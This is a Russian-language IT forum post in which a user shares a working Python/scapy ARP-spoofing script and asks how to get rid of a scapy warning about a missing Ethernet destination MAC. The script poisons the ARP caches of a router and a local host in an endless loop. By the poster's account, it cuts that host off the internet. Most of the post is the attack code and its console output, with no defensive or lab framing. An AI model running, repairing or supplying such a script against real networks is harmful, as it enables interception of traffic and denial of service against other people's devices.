код работает но пишется WARNING: You should be providing the Ethernet destination MAC address when sending an is-at ARP.

whhhitedark

Новичок
Пользователь
Окт 11, 2024
1
0
1
windows 10
python 3.13.0
pip list:
Package Version
------- -------
pip 24.2
scapy 2.6.0

import scapy.all as scapy
import time

def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst='ff:ff:ff:ff:ff:ff')
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]

return answered_list[0][1].hwsrc

def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = scapy.ARP(op=2, pdst= target_ip, hwdst= target_mac, psrc=spoof_ip)
scapy.send(packet, verbose=False)

sent_pakets_count = 0
try:
while True:
spoof("192.168.31.1", "192.168.31.113")
spoof("192.168.31.113", "192.168.31.1")
sent_pakets_count = sent_pakets_count + 2
print ("\r[+] Paket sent: " + str(sent_pakets_count), end="")
time.sleep(2)
except KeyboardInterrupt:
print("\n[+] Detected CTRL + C ...... Quitting.")
Код с помощью которого отправляются пакеты и обрубается интернет работает но пишется
Paket sent: 2WARNING: more You should be providing the Ethernet destination MAC address when sending an is-at ARP.
[+] Paket sent: 6WARNING: You should be providing the Ethernet destination MAC address when sending an is-at ARP.
WARNING: You should be providing the Ethernet destination MAC address when sending an is-at ARP.
.
 

Форум IT Специалистов